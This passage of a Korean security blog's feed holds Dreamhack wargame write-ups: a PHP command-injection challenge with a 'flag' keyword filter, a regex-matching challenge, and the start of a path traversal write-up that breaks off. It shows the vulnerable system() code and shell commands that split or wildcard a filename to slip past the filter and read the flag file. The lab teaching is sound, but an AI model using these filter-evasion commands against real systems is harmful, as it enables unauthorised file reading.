&lt;li&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt; &lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: left;&quot;&gt;pw 패턴&amp;nbsp;&lt;/span&gt;/\d*\@\d{2,3}(31)+[^0-8\&quot;]\!/&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: left;&quot;&gt;을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;d4y0r50ng&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: left;&quot;&gt;로 치환&lt;/span&gt; &lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: left;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;\d*: 0개 이상의 숫자&lt;/li&gt;
&lt;li&gt;@: '@' 기호&lt;/li&gt;
&lt;li&gt;\d{2,3}: 2개 또는 3개의 숫자&lt;/li&gt;
&lt;li&gt;(31)+: '31'이 한 번 이상 반복&lt;/li&gt;
&lt;li&gt;[^0-8&quot;]: 0부터 8까지의 숫자와 큰따옴표(&quot;)를 제외한 모든 문자&lt;/li&gt;
&lt;li&gt;!: '!' 기호&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;조건에 맞는 임의의 비밀번호를 작성하면 된다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;나는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&quot;1@123319!+1+13&quot;&lt;/b&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;을 작성하였다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;STEP 2&lt;/span&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;../dream/flag.txt&lt;span&gt;&amp;nbsp;&lt;/span&gt;로 이동하되, &quot;flag&quot;라는 글자는 없이 이동해야 하는것이 조건이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1757339224596&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$cmd = $_POST[&quot;cmd&quot;] ? $_POST[&quot;cmd&quot;] : &quot;&quot;;

if ($cmd === &quot;&quot;) {
  echo '
        &amp;lt;p&amp;gt;&amp;lt;form method=&quot;post&quot; action=&quot;/step2.php&quot;&amp;gt;
            &amp;lt;input type=&quot;hidden&quot; name=&quot;input1&quot; value=&quot;'.$input_name.'&quot;&amp;gt;
            &amp;lt;input type=&quot;hidden&quot; name=&quot;input2&quot; value=&quot;'.$input_pw.'&quot;&amp;gt;
            &amp;lt;input type=&quot;text&quot; placeholder=&quot;Command&quot; name=&quot;cmd&quot;&amp;gt;
            &amp;lt;input type=&quot;submit&quot; value=&quot;제출&quot;&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;
        &amp;lt;/form&amp;gt;&amp;lt;/p&amp;gt;
  ';
}
// cmd filtering
else if (preg_match(&quot;/flag/i&quot;, $cmd)) {
  echo &quot;&amp;lt;pre&amp;gt;Error!&amp;lt;/pre&amp;gt;&quot;;
}
else{
  echo &quot;&amp;lt;pre&amp;gt;--Output--\n&quot;;
  # 이 함수를 이용하라고
  system($cmd);
  echo &quot;&amp;lt;/pre&amp;gt;&quot;;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;먼저&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;pwd&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;명령을 통해 현재 디렉토리를 파악할 수 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;430&quot; data-origin-height=&quot;238&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BJcZz/btsQq0gZqmw/mzDv94r0NHXX8jlqcmYXlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BJcZz/btsQq0gZqmw/mzDv94r0NHXX8jlqcmYXlK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BJcZz/btsQq0gZqmw/mzDv94r0NHXX8jlqcmYXlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBJcZz%2FbtsQq0gZqmw%2FmzDv94r0NHXX8jlqcmYXlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;316&quot; height=&quot;175&quot; data-origin-width=&quot;430&quot; data-origin-height=&quot;238&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cd .. &amp;amp;&amp;amp; ls&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;명령을 통해 이전 디렉토리를 확인해보면, 우리가 찾고자 하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;dream&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;디렉토리가 위치하고 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;634&quot; data-origin-height=&quot;343&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dEH1P6/btsQqJ7DETg/buLrT28l4Zy2KP0VYCdNT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dEH1P6/btsQqJ7DETg/buLrT28l4Zy2KP0VYCdNT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dEH1P6/btsQqJ7DETg/buLrT28l4Zy2KP0VYCdNT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdEH1P6%2FbtsQqJ7DETg%2FbuLrT28l4Zy2KP0VYCdNT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;408&quot; height=&quot;221&quot; data-origin-width=&quot;634&quot; data-origin-height=&quot;343&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;flag 필터링을 어떻게 우회 할것인가?&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;구글링을 했을때, 대다수의 블로그가 웹사이트 취약점에 대해서 다루고 있었는데 이 문제의 경우 리눅스 커맨드라인에 입력해야 하기 때문에 애를 많이 먹었다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실패한 목록들
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;대문자로 바꾸기 &amp;rarr; 우리가 우회하려는&lt;span&gt;&amp;nbsp;&lt;/span&gt;preg_match()함수에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;/i&lt;span&gt;&amp;nbsp;&lt;/span&gt;플래그를 통해 이를 막아두었다.&lt;/li&gt;
&lt;li&gt;cd ../dream &amp;amp;&amp;amp; cat &quot;$(printf '\x66\x6c\x61\x67').txt&quot;&lt;/li&gt;
&lt;li&gt;cat /var/dream/&quot;$(printf '\\x66\\x6c\\x61\\x67').txt&quot;&lt;br /&gt;&amp;rarr; 애초에&lt;span&gt;&amp;nbsp;&lt;/span&gt;printf '\x66\x6c\x61\x67'&lt;span&gt;&amp;nbsp;&lt;/span&gt;명령이 안먹히는 환경이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;많은 삽질을 하다가&lt;span&gt;&amp;nbsp;&lt;/span&gt;cat ../dream/fla&quot;&quot;g.txt을 통해 풀어냈다.&lt;br /&gt;preg_match('/flag/i', $input)은 &quot;flag&quot;라는 연속된 문자열을 찾기 때문에 이렇게 끊어주는 것 만으로도 간단하게 우회가 가능하다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그러면 아무 문자로 끊으면 될까?&lt;br /&gt;&quot;로 끊을수 있었던 이유도 따로 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;셸(shell)에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;fla&quot;&quot;g.txt&lt;/b&gt;는 완벽하게 붙여진&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;flag.txt&lt;/b&gt;로 인식한다.&lt;/li&gt;
&lt;li&gt;PHP 코드 내에서는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&quot;fla&quot; + 빈 문자열 &quot;&quot; + &quot;g&quot;&lt;/b&gt;를 붙여서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&quot;flag&quot;&lt;/b&gt;가 되는 형태이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그러나, 정규식에서는 문자열이 붙여진다고 이해하지 못하고 이를 각각의 문자열로 인식한다. 따라서 우회가 가능한 것이다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;결론적으로 플래그를 얻어낼 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;959&quot; data-origin-height=&quot;560&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buU15J/btsQnFlBdRM/EgvEQR0HMFgX8gAoTypzB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buU15J/btsQnFlBdRM/EgvEQR0HMFgX8gAoTypzB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buU15J/btsQnFlBdRM/EgvEQR0HMFgX8gAoTypzB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuU15J%2FbtsQnFlBdRM%2FEgvEQR0HMFgX8gAoTypzB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;491&quot; height=&quot;560&quot; data-origin-width=&quot;959&quot; data-origin-height=&quot;560&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 id=&quot;참고할-자료&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;[참고할 자료]&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;문제를 풀고 나서 다른 분이 푼 풀이를 보다가 내가 어렵게 푼 편이라는 것을 깨달았다.&lt;br /&gt;따라서 더 쉽게 푸신 분들의 풀이를 함께 언급한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;파일 이름인 flag를 직접 작성하지 않고서도 내용 출력이 가능&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;https://taesan-smj.tistory.com/61&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://taesan-smj.tistory.com/61&lt;/a&gt;&lt;br /&gt;이럴때는&amp;nbsp;&lt;br /&gt;을 이용하면 된다.&amp;nbsp;&lt;br /&gt;의 의미는 해당 파일 내부에서 모든 파일을 가져오라는 의미이므로cat ../dream/*.txt 를 입력하게 된다면, txt 확장자를 가지고 있는 경로에 있는 파일을 읽어오라는 뜻이다.&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;파일 이름의 일부만 입력해도 접근이 가능&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;https://koharinn.tistory.com/701&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://koharinn.tistory.com/701&lt;/a&gt;&lt;br /&gt;파일 이름의 일부를 * 처리해도 패턴에 매칭되는 파일이 있다면 접근이 가능하다.&lt;/blockquote&gt;</description>
      <category>WARGAME/WEB</category>
      <category>Dreamhack</category>
      <category>php</category>
      <category>Regular Expression</category>
      <category>WarGame</category>
      <category>WEB</category>
      <category>드림핵</category>
      <category>보안</category>
      <category>워게임</category>
      <category>정규표현식</category>
      <category>정보보안</category>
      <author>eunee22</author>
      <guid isPermaLink="true">https://xmi1e-vir.tistory.com/11</guid>
      <comments>https://xmi1e-vir.tistory.com/11#entry11comment</comments>
      <pubDate>Mon, 8 Sep 2025 22:37:45 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] wargame 'ex-reg-ex' write-up</title>
      <link>https://xmi1e-vir.tistory.com/10</link>
      <description>&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;  Biginner&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/834&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;문제링크&lt;/a&gt;&lt;br /&gt;문제에서 요구하는 형식의 문자열을 입력하여 플래그를 획득하세요. &lt;br /&gt;플래그는 flag.txt 파일과 FLAG 변수에 있습니다.&lt;br /&gt;플래그 형식은 DH{...} 입니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;문제-파악&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; 문제 파악&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;주어진 정규표현식에 부합하는 값을 입력하면 flag를 얻을 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1757253901246&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/&quot;, methods = [&quot;GET&quot;, &quot;POST&quot;])
def index():
    input_val = &quot;&quot;
    if request.method == &quot;POST&quot;:
        input_val = request.form.get(&quot;input_val&quot;, &quot;&quot;)
        m = re.match(r'dr\w{5,7}e\d+am@[a-z]{3,7}\.\w+', input_val)
        if m:
            return render_template(&quot;index.html&quot;, pre_txt=input_val, flag=FLAG)
    return render_template(&quot;index.html&quot;, pre_txt=input_val, flag='?')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;문제-풀이&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; 문제 풀이&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;주어진 정규표현식은 아래와 같다&lt;/p&gt;
&lt;pre id=&quot;code_1757253977185&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;r'dr\w{5,7}e\d+am@[a-z]{3,7}\.\w+'&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;dr: &quot;dr&quot;로 시작&lt;/li&gt;
&lt;li&gt;\w{5,7}: 5~7개의 알파벳, 숫자, 또는 밑줄(_)&lt;/li&gt;
&lt;li&gt;e: &quot;e&quot;가 와야함&lt;/li&gt;
&lt;li&gt;\d+: 하나 이상의 숫자&lt;/li&gt;
&lt;li&gt;am: &quot;am&quot;이 와야함&lt;/li&gt;
&lt;li&gt;@: &quot;@&quot; 기호가 와야함&lt;/li&gt;
&lt;li&gt;[a-z]{3,7}: 3~7개의 소문자 알파벳&lt;/li&gt;
&lt;li&gt;.: &quot;.&quot; (점)이 와야함&lt;/li&gt;
&lt;li&gt;\w+: 하나 이상의 알파벳, 숫자, 또는 밑줄(_)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;나는 위 조건에 부합하는 임의의 값을 작성했다.&lt;/p&gt;
&lt;pre id=&quot;code_1757253918181&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;dr1234_e2am@naver.com&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;입력하면 손쉽게 flag를 얻을 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;347&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b15NdJ/btsQmUP7Nfu/1AlqykGWFXulVUo7fnxsLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b15NdJ/btsQmUP7Nfu/1AlqykGWFXulVUo7fnxsLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b15NdJ/btsQmUP7Nfu/1AlqykGWFXulVUo7fnxsLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb15NdJ%2FbtsQmUP7Nfu%2F1AlqykGWFXulVUo7fnxsLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;552&quot; height=&quot;252&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;347&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>WARGAME/WEB</category>
      <author>eunee22</author>
      <guid isPermaLink="true">https://xmi1e-vir.tistory.com/10</guid>
      <comments>https://xmi1e-vir.tistory.com/10#entry10comment</comments>
      <pubDate>Sun, 7 Sep 2025 23:09:36 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] wargame 'pathtraversal' write-up</title>
      <link>https://xmi1e-vir.tistory.com/9</link>
      <description>&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;  Biginner&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/12&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;문제링크&lt;/a&gt;&lt;br /&gt;사용자의 정보를 조회하는 API 서버입니다.&lt;br /&gt;Path Traversal 취약점을 이용해 /api/flag&amp;nbsp;에 있는 플래그를 획득하세요!&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;문제-파악&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; 문제 파악&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;문제 이름이 pathtraversal인 만큼 해당 개념에 대해서 짚고 넘어가야 한다.&lt;/p&gt;
&lt;h4 id=&quot;path-traversal&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;Path Traversal&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 개념은 앞선&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #12b886;&quot; href=&quot;https://velog.io/@l009y/Dreamhack-wargame-file-download-1-write-up&quot;&gt;file-download-1&lt;/a&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;문제에서도 다뤘던 개념이다.&lt;/li&gt;
&lt;li&gt;url path 조작을 통해서 server 파일 시스템 내부를 이리저리 돌아다니는것이 핵심이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;311&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lbQqT/btsQmGxJLpp/vLVNS0AmNqkMINB49mDEF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lbQqT/btsQmGxJLpp/vLVNS0AmNqkMINB49mDEF0/img.png&quot; data-alt=&quot;파일 다운로드 취약점 공격 유형 예시&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lbQqT/btsQmGxJLpp/vLVNS0AmNqkMINB49mDEF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlbQqT%2FbtsQmGxJLpp%2FvLVNS0AmNqkMINB49mDEF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;605&quot; height=&quot;147&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;311&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;파일 다운로드 취약점 공격 유형 예시&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;문제 풀이로 다시 돌아가서,&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;주어진 웹사이트에 접속해서&lt;span&gt;&amp;nbsp;&lt;/span&gt;/get_info로 들어가면 유저 정보가 나온다.&lt;br /&gt;userid를 입력하여 submit 하는 부분이 있으므로 이를 이용할 수 있을것 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;659&quot; data-origin-height=&quot;314&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bflxjK/btsQocoRuHU/jzevQg6EaVMsG25la1O5L1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bflxjK/btsQocoRuHU/jzevQg6EaVMsG25la1O5L1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bflxjK/btsQocoRuHU/jzevQg6EaVMsG25la1O5L1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbflxjK%2FbtsQocoRuHU%2FjzevQg6EaVMsG25la1O5L1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;481&quot; height=&quot;229&quot; data-origin-width=&quot;659&quot; data-origin-height=&quot;314&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;코드를 확인해 보면 view 버튼을 눌러 사용자 입력이 전송되는 순간 request는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;/api/user&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;디렉토리로 들어간다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;우리의 목표는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;/api/flag&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;이므로 구체적으로 어디로 이동해야할지 나와있는 셈이다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1757253138328&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route('/get_info', methods=['GET', 'POST'])
def get_info():
    if request.method == 'GET':
        return render_template('get_info.html')
    elif request.method == 'POST':
        userid = request.form.get('userid', '')
        info = requests.get(f'{API_HOST}/api/user/{userid}').text
        return render_template('get_info.html', info=info)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;문제-풀이&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; 문제 풀이&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;요청을 보내는 코드를 자세히 살펴보면&lt;/p&gt;
&lt;pre id=&quot;code_1757253153306&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;info = requests.get(f'{API_HOST}/api/user/{userid}').text&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;userid는 단순히 문자열처럼 보이지만, 실제로는 내부 API 주소에 붙어서 요청이 전송되는 구조이다. 즉, 사용자가 입력한 값은 서버가 구성한 URL의 일부로 사용되며, 이는 곧 Flask에서 정의한 라우트(@app.route)에 정확히 일치해야 응답을 받을 수 있다는 뜻이다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;쉽게 말해서 서버가 입력값을 파일 시스템 경로처럼 해석하는게 아니라 HTTP URL 경로로 처리하기에&lt;span&gt;&amp;nbsp;&lt;/span&gt;cd ..&lt;span&gt;&amp;nbsp;&lt;/span&gt;..등을 넣어도 경로탈출이 어렵다. 제목이 path traversal이라서 가장 헷갈렸던 점이라 적어둔다.&lt;/p&gt;
